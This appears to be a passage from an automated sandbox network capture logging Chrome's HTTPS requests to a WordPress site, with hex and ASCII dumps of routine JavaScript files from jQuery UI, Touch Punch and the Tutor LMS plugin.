2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 73 2e 64 69 73 61 62 6c 65 64 26 26 22 73 74 61 74 69 63 22 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 74 79 70 65 26 26 28 74 68 69 73 2e 5f 72 65 66 72 65 73 68 49 74 65 6d 73 28 74 29 2c 75 28 74 2e 74 61 72 67 65 74 29 2e 70 61 72 65 6e 74 73 28 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 2e 64 61 74 61 28 74 68 69 73 2c 6f 2e 77 69 64 67 65 74 4e 61 6d 65 2b 22 2d 69 74 65 6d 22 29 3d 3d 3d 6f 29 72 65 74 75 72 6e 20 69 3d 75 28 74 68 69 73 29 2c 21 31 7d 29 2c 21 21 28 69 3d 75 2e 64 61 74 61 28 74 2e 74 61 72 67 65 74 2c 6f 2e 77 69 64 67 65 74 4e 61 6d 65 2b 22 2d 69 74 65 6d 22 29 3d 3d 3d 6f 3f 75 28 74 2e 74 61 72 67 65 74 29 3a 69 29 26 26 28 21 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 26 26 21 65 Data Ascii: s.disabled&&"static"!==this.options.type&&(this._refreshItems(t),u(t.target).parents().each(function(){if(u.data(this,o.widgetName+"-item")===o)return i=u(this),!1}),!!(i=u.data(t.target,o.widgetName+"-item")===o?u(t.target):i)&&(!(this.options.handle&&!e
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6e 74 61 69 6e 6d 65 6e 74 28 29 2c 72 2e 63 75 72 73 6f 72 26 26 22 61 75 74 6f 22 21 3d 3d 72 2e 63 75 72 73 6f 72 26 26 28 6f 3d 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 2e 66 69 6e 64 28 22 62 6f 64 79 22 29 2c 74 68 69 73 2e 73 74 6f 72 65 64 43 75 72 73 6f 72 3d 6f 2e 63 73 73 28 22 63 75 72 73 6f 72 22 29 2c 6f 2e 63 73 73 28 22 63 75 72 73 6f 72 22 2c 72 2e 63 75 72 73 6f 72 29 2c 74 68 69 73 2e 73 74 6f 72 65 64 53 74 79 6c 65 73 68 65 65 74 3d 75 28 22 3c 73 74 79 6c 65 3e 2a 7b 20 63 75 72 73 6f 72 3a 20 22 2b 72 2e 63 75 72 73 6f 72 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 3c 2f 73 74 79 6c 65 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 6f 29 29 2c 72 2e 6f 70 61 63 69 74 79 26 26 28 74 68 69 73 2e 68 65 6c 70 65 72 2e 63 73 73 28 22 6f 70 61 Data Ascii: ntainment(),r.cursor&&"auto"!==r.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",r.cursor),this.storedStylesheet=u("<style>*{ cursor: "+r.cursor+" !important; }</style>").appendTo(o)),r.opacity&&(this.helper.css("opa
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2d 74 2e 70 61 67 65 59 3c 72 2e 73 63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 3f 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 54 6f 70 3d 6e 3d 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 54 6f 70 2b 72 2e 73 63 72 6f 6c 6c 53 70 65 65 64 3a 74 2e 70 61 67 65 59 2d 74 68 69 73 2e 6f 76 65 72 66 6c 6f 77 4f 66 66 73 65 74 2e 74 6f 70 3c 72 2e 73 63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 26 26 28 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 54 6f 70 3d 6e 3d 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 5b 30 5d 2e 73 63 72 6f 6c 6c 54 6f 70 2d 72 2e 73 63 Data Ascii: rollParent[0].offsetHeight-t.pageY<r.scrollSensitivity?this.scrollParent[0].scrollTop=n=this.scrollParent[0].scrollTop+r.scrollSpeed:t.pageY-this.overflowOffset.top<r.scrollSensitivity&&(this.scrollParent[0].scrollTop=n=this.scrollParent[0].scrollTop-r.sc
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 78 69 73 7c 7c 28 74 68 69 73 2e 68 65 6c 70 65 72 5b 30 5d 2e 73 74 79 6c 65 2e 74 6f 70 3d 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 2e 74 6f 70 2b 22 70 78 22 29 2c 65 3d 74 68 69 73 2e 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 30 3c 3d 65 3b 65 2d 2d 29 69 66 28 69 3d 74 68 69 73 2e 69 74 65 6d 73 5b 65 5d 2c 73 3d 69 2e 69 74 65 6d 5b 30 5d 2c 6f 3d 74 68 69 73 2e 5f 69 6e 74 65 72 73 65 63 74 73 57 69 74 68 50 6f 69 6e 74 65 72 28 69 29 2c 6f 26 26 69 2e 69 6e 73 74 61 6e 63 65 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 43 6f 6e 74 61 69 6e 65 72 26 26 21 28 73 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 49 74 65 6d 5b 30 5d 7c 7c 74 68 69 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 5b 31 3d 3d 3d 6f 3f 22 6e 65 78 Data Ascii: is.options.axis\|\|(this.helper[0].style.top=this.position.top+"px"),e=this.items.length-1;0<=e;e--)if(i=this.items[e],s=i.item[0],o=this._intersectsWithPointer(i),o&&i.instance===this.currentContainer&&!(s===this.currentItem[0]\|\|this.placeholder[1===o?"nex
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 67 69 6e 67 29 7b 74 68 69 73 2e 5f 6d 6f 75 73 65 55 70 28 6e 65 77 20 75 2e 45 76 65 6e 74 28 22 6d 6f 75 73 65 75 70 22 2c 7b 74 61 72 67 65 74 3a 6e 75 6c 6c 7d 29 29 2c 22 6f 72 69 67 69 6e 61 6c 22 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 65 6c 70 65 72 3f 28 74 68 69 73 2e 63 75 72 72 65 6e 74 49 74 65 6d 2e 63 73 73 28 74 68 69 73 2e 5f 73 74 6f 72 65 64 43 53 53 29 2c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 68 69 73 2e 63 75 72 72 65 6e 74 49 74 65 6d 2c 22 75 69 2d 73 6f 72 74 61 62 6c 65 2d 68 65 6c 70 65 72 22 29 29 3a 74 68 69 73 2e 63 75 72 72 65 6e 74 49 74 65 6d 2e 73 68 6f 77 28 29 3b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 73 2e 6c 65 6e 67 74 68 2d 31 3b 30 3c 3d 74 3b 74 2d 2d Data Ascii: ging){this._mouseUp(new u.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 73 57 69 74 68 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 41 62 73 2e 6c 65 66 74 2c 69 3d 65 2b 74 68 69 73 2e 68 65 6c 70 65 72 50 72 6f 70 6f 72 74 69 6f 6e 73 2e 77 69 64 74 68 2c 73 3d 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 41 62 73 2e 74 6f 70 2c 6f 3d 73 2b 74 68 69 73 2e 68 65 6c 70 65 72 50 72 6f 70 6f 72 74 69 6f 6e 73 2e 68 65 69 67 68 74 2c 72 3d 74 2e 6c 65 66 74 2c 6e 3d 72 2b 74 2e 77 69 64 74 68 2c 68 3d 74 2e 74 6f 70 2c 61 3d 68 2b 74 2e 68 65 69 67 68 74 2c 6c 3d 74 68 69 73 2e 6f 66 66 73 65 74 2e 63 6c 69 63 6b 2e 74 6f 70 2c 63 3d 74 68 69 73 2e 6f 66 66 73 65 74 2e 63 6c 69 63 6b 2e 6c 65 66 74 2c 6c 3d 22 78 22 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 78 69 73 7c 7c 68 Data Ascii: sWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,o=s+this.helperProportions.height,r=t.left,n=r+t.width,h=t.top,a=h+t.height,l=this.offset.click.top,c=this.offset.click.left,l="x"===this.options.axis\|\|h
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 61 74 69 6e 67 26 26 74 3f 22 72 69 67 68 74 22 3d 3d 3d 74 26 26 69 7c 7c 22 6c 65 66 74 22 3d 3d 3d 74 26 26 21 69 3a 73 26 26 28 22 64 6f 77 6e 22 3d 3d 3d 73 26 26 65 7c 7c 22 75 70 22 3d 3d 3d 73 26 26 21 65 29 7d 2c 5f 67 65 74 44 72 61 67 56 65 72 74 69 63 61 6c 44 69 72 65 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 41 62 73 2e 74 6f 70 2d 74 68 69 73 2e 6c 61 73 74 50 6f 73 69 74 69 6f 6e 41 62 73 2e 74 6f 70 3b 72 65 74 75 72 6e 20 30 21 3d 74 26 26 28 30 3c 74 3f 22 64 6f 77 6e 22 3a 22 75 70 22 29 7d 2c 5f 67 65 74 44 72 61 67 48 6f 72 69 7a 6f 6e 74 61 6c 44 69 72 65 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 70 6f 73 69 74 69 6f 6e 41 62 Data Ascii: ating&&t?"right"===t&&i\|\|"left"===t&&!i:s&&("down"===s&&e\|\|"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!=t&&(0<t?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAb
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 69 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 69 5b 65 5d 3d 3d 3d 74 2e 69 74 65 6d 5b 30 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 29 7d 2c 5f 72 65 66 72 65 73 68 49 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 69 74 65 6d 73 3d 5b 5d 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 73 3d 5b 74 68 69 73 5d 3b 76 61 72 20 65 2c 69 2c 73 2c 6f 2c 72 2c 6e 2c 68 2c 61 2c 6c 3d 74 68 69 73 2e 69 74 65 6d 73 2c 63 3d 5b 5b 75 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 74 65 6d 73 29 3f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 74 65 6d 73 2e 63 61 6c 6c 28 74 68 69 73 2e 65 6c 65 6d 65 6e Data Ascii: .items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,o,r,n,h,a,l=this.items,c=[[u.isFunction(this.options.items)?this.options.items.call(this.elemen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49814	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	736	OUT	GET /wp-includes/js/jquery/jquery.ui.touch-punch.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	947	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e724e8f0c8a-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"4f852b8e-49b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 11 Apr 2012 06:58:22 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PBUnKY342wJ8O6QvyNe87Om%2FD3tXaTyp9ndVnrlzFgaf6IeHXUBZ94F%2B2MP%2FxiijEz5AdPbrs72MOkaHq0At0q0Vmr32%2F92Yxm0J2%2FFED7dRTfOmevKe6XZ6EWV%2B%2FEtxFRE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	422	IN	Data Raw: 34 39 62 0d 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 54 6f 75 63 68 20 50 75 6e 63 68 20 30 2e 32 2e 32 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2c 20 44 61 76 65 20 46 75 72 66 65 72 6f 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6f 72 20 47 50 4c 20 56 65 72 73 69 6f 6e 20 32 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 0a 20 2a 20 44 65 70 65 6e 64 73 3a 0a 20 2a 20 20 6a 71 75 65 72 79 2e 75 69 2e 77 69 64 67 65 74 2e 6a 73 0a 20 2a 20 20 6a 71 75 65 72 79 2e 75 69 2e 6d 6f 75 73 65 2e 6a 73 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 73 75 70 70 6f 72 74 2e 74 6f 75 63 68 3d 22 6f 6e 74 6f 75 63 68 65 6e 64 22 20 69 6e 20 64 6f 63 75 6d 65 6e 74 3b 69 66 Data Ascii: 49b/! jQuery UI Touch Punch 0.2.2 * * Copyright 2011, Dave Furfero * Dual licensed under the MIT or GPL Version 2 licenses. * * Depends: * jquery.ui.widget.js * jquery.ui.mouse.js */(function(b){b.support.touch="ontouchend" in document;if
2024-04-11 21:26:42 UTC	764	IN	Data Raw: 65 6e 74 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 5b 30 5d 2c 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 66 2e 69 6e 69 74 4d 6f 75 73 65 45 76 65 6e 74 28 68 2c 74 72 75 65 2c 74 72 75 65 2c 77 69 6e 64 6f 77 2c 31 2c 69 2e 73 63 72 65 65 6e 58 2c 69 2e 73 63 72 65 65 6e 59 2c 69 2e 63 6c 69 65 6e 74 58 2c 69 2e 63 6c 69 65 6e 74 59 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 30 2c 6e 75 6c 6c 29 3b 67 2e 74 61 72 67 65 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 66 29 7d 63 2e 5f 74 6f 75 63 68 53 74 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 66 3d 74 68 69 73 3b 69 66 28 61 7c 7c 21 66 2e 5f 6d 6f 75 73 65 43 61 70 74 75 72 65 Data Ascii: ent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a\|\|!f._mouseCapture
2024-04-11 21:26:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49816	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	743	OUT	GET /wp-content/plugins/tutor/assets/js/tutor-front.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e743ca27279-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fad6-175a5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:50 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AK1TPKc85oz37lZkVkiQzNd8YojI6MBov7C83zqobZm2SBdx%2BnA0cdswlgEpDVYpp0PpNDfbN%2B3FgBdRPF326hJrm39zNN8NbYELNRi0euSeGXoqlLbRGQ7Eu4W85FTwCRE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	430	IN	Data Raw: 37 63 30 34 0d 0a 28 28 29 3d 3e 7b 76 61 72 20 6e 3d 7b 33 36 37 36 3a 28 29 3d 3e 7b 77 69 6e 64 6f 77 2e 72 65 61 64 79 53 74 61 74 65 5f 63 6f 6d 70 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 61 72 67 65 74 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 22 63 6f 6d 70 6c 65 74 65 22 3f 74 79 70 65 6f 66 20 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 65 29 7d 29 3a 22 Data Ascii: 7c04(()=>{var n={3676:()=>{window.readyState_complete=function(e){var r=function t(e){return e()};document.addEventListener("readystatechange",function(t){return t.target.readyState==="complete"?typeof e=="function"?setTimeout(function(){return r(e)}):"
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 72 2b 6e 29 7d 3b 77 69 6e 64 6f 77 2e 73 65 6c 65 63 74 6f 72 42 79 49 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 7d 3b 77 69 6e 64 6f 77 2e 73 65 6c 65 63 74 6f 72 42 79 43 6c 61 73 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 74 29 7d 3b 77 69 6e 64 6f 77 2e 6a 73 6f 6e 5f 64 6f 77 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 74 5d 2c 7b 74 79 70 65 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 29 3b 76 61 72 Data Ascii: .body.classList.add(r+n)};window.selectorById=function(t){return document.getElementById(t)};window.selectorByClass=function(t){return document.getElementsByClassName(t)};window.json_download=function(t,e){var r=new Blob([t],{type:"application/json"});var
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 2e 76 61 6c 75 65 3d 3d 3d 6e 2e 74 61 72 67 65 74 2e 64 61 74 61 73 65 74 2e 6b 65 79 29 7b 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 61 63 74 69 76 65 22 29 3b 6c 2e 69 6e 6e 65 72 54 65 78 74 3d 6e 2e 74 61 72 67 65 74 2e 69 6e 6e 65 72 54 65 78 74 3b 6c 2e 64 61 74 61 73 65 74 2e 76 61 6c 75 65 3d 74 2e 76 61 6c 75 65 3b 6f 2e 76 61 6c 75 65 3d 74 2e 76 61 6c 75 65 3b 76 61 72 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 61 76 65 5f 74 75 74 6f 72 5f 6f 70 74 69 6f 6e 22 29 3b 69 66 28 72 29 7b 72 2e 64 69 73 61 62 6c 65 64 3d 66 61 6c 73 65 7d 7d 7d 29 3b 76 61 72 20 65 3d 6e 65 77 20 45 76 65 6e 74 28 22 63 Data Ascii: orEach(function(t,e){if(t.value===n.target.dataset.key){i.classList.remove("is-active");l.innerText=n.target.innerText;l.dataset.value=t.value;o.value=t.value;var r=document.getElementById("save_tutor_option");if(r){r.disabled=false}}});var e=new Event("c
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 74 75 74 6f 72 2d 6a 73 2d 66 6f 72 6d 2d 73 65 6c 65 63 74 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 28 65 29 7d 7d 29 28 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 69 66 28 74 29 7b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 61 63 74 69 76 65 22 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 76 61 72 20 65 3d 22 22 3b 41 72 72 61 79 2e 66 72 6f 6d 28 74 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 2b 3d 27 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: var e=document.querySelectorAll(".tutor-js-form-select");document.onclick=function(t){f(e)}})();function f(t){if(t){t.forEach(function(t){t.classList.remove("is-active")})}}function h(t){var e="";Array.from(t).forEach(function(t){e+='\n <div cl
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 61 74 61 2d 6d 63 65 2d 73 74 79 6c 65 5d 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 28 74 68 69 73 29 2e 61 74 74 72 28 22 73 74 79 6c 65 22 2c 69 28 74 68 69 73 29 2e 61 74 74 72 28 22 64 61 74 61 2d 6d 63 65 2d 73 74 79 6c 65 22 29 29 3b 69 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 22 64 61 74 61 2d 6d 63 65 2d 73 74 79 6c 65 22 29 7d 29 3b 69 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 27 2e 74 75 74 6f 72 2d 73 69 6e 67 6c 65 2d 63 6f 75 72 73 65 2d 6c 65 73 73 6f 6e 2d 63 6f 6d 6d 65 6e 74 73 20 62 75 74 74 6f 6e 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 27 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 77 70 2e 69 31 38 6e 2e 5f Data Ascii: ata-mce-style]").each(function(){i(this).attr("style",i(this).attr("data-mce-style"));i(this).removeAttr("data-mce-style")});i(document).on("click",'.tutor-single-course-lesson-comments button[type="submit"]',function(t){t.preventDefault();var e=wp.i18n._
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 65 6e 67 74 68 29 7b 66 28 22 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 2d 73 69 6e 67 6c 65 2d 66 6f 6f 74 65 72 22 29 2e 72 65 6d 6f 76 65 28 29 7d 7d 76 61 72 20 70 3d 66 28 22 23 74 75 74 6f 72 2d 71 75 69 7a 2d 74 69 6d 65 2d 75 70 64 61 74 65 22 29 3b 69 66 28 70 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 74 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 70 2e 61 74 74 72 28 22 64 61 74 61 2d 61 74 74 65 6d 70 74 2d 73 65 74 74 69 6e 67 73 22 29 29 3b 76 61 72 20 76 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 70 2e 61 74 74 72 28 22 64 61 74 61 2d 61 74 74 65 6d 70 74 2d 6d 65 74 61 22 29 29 3b 69 66 28 76 2e 74 69 6d 65 5f 6c 69 6d 69 74 2e 74 69 6d 65 5f 6c 69 6d 69 74 5f 73 65 63 6f 6e 64 73 3e 30 29 7b 76 61 72 20 65 2c 72 3b 76 61 72 20 6d 3d 6e 65 77 Data Ascii: ength){f(".tutor-course-topic-single-footer").remove()}}var p=f("#tutor-quiz-time-update");if(p.length){var t=JSON.parse(p.attr("data-attempt-settings"));var v=JSON.parse(p.attr("data-attempt-meta"));if(v.time_limit.time_limit_seconds>0){var e,r;var m=new
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 22 23 74 75 74 6f 72 2d 71 75 69 7a 2d 74 69 6d 65 2d 65 78 70 69 72 65 2d 77 72 61 70 70 65 72 22 3b 66 28 6f 29 2e 61 64 64 43 6c 61 73 73 28 22 74 75 74 6f 72 2d 61 6c 65 72 74 2d 73 68 6f 77 22 29 3b 69 66 28 6e 3e 30 29 7b 66 28 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 20 2e 74 75 74 6f 72 2d 71 75 69 7a 2d 61 6c 65 72 74 2d 74 65 78 74 22 29 29 2e 68 74 6d 6c 28 68 28 22 59 6f 75 72 20 74 69 6d 65 20 6c 69 6d 69 74 20 66 6f 72 20 74 68 69 73 20 71 75 69 7a 20 68 61 73 20 65 78 70 69 72 65 64 2c 20 70 6c 65 61 73 65 20 72 65 61 74 74 65 6d 70 74 20 74 68 65 20 71 75 69 7a 2e 20 41 74 74 65 6d 70 74 73 20 72 65 6d 61 69 6e 69 6e 67 3a 22 2c 22 74 75 74 6f 72 22 29 2b 22 20 22 2b 6e 2b 22 2f 22 2b 72 29 7d 65 6c 73 65 7b 69 66 28 66 28 6f 29 2e 68 61 73 Data Ascii: 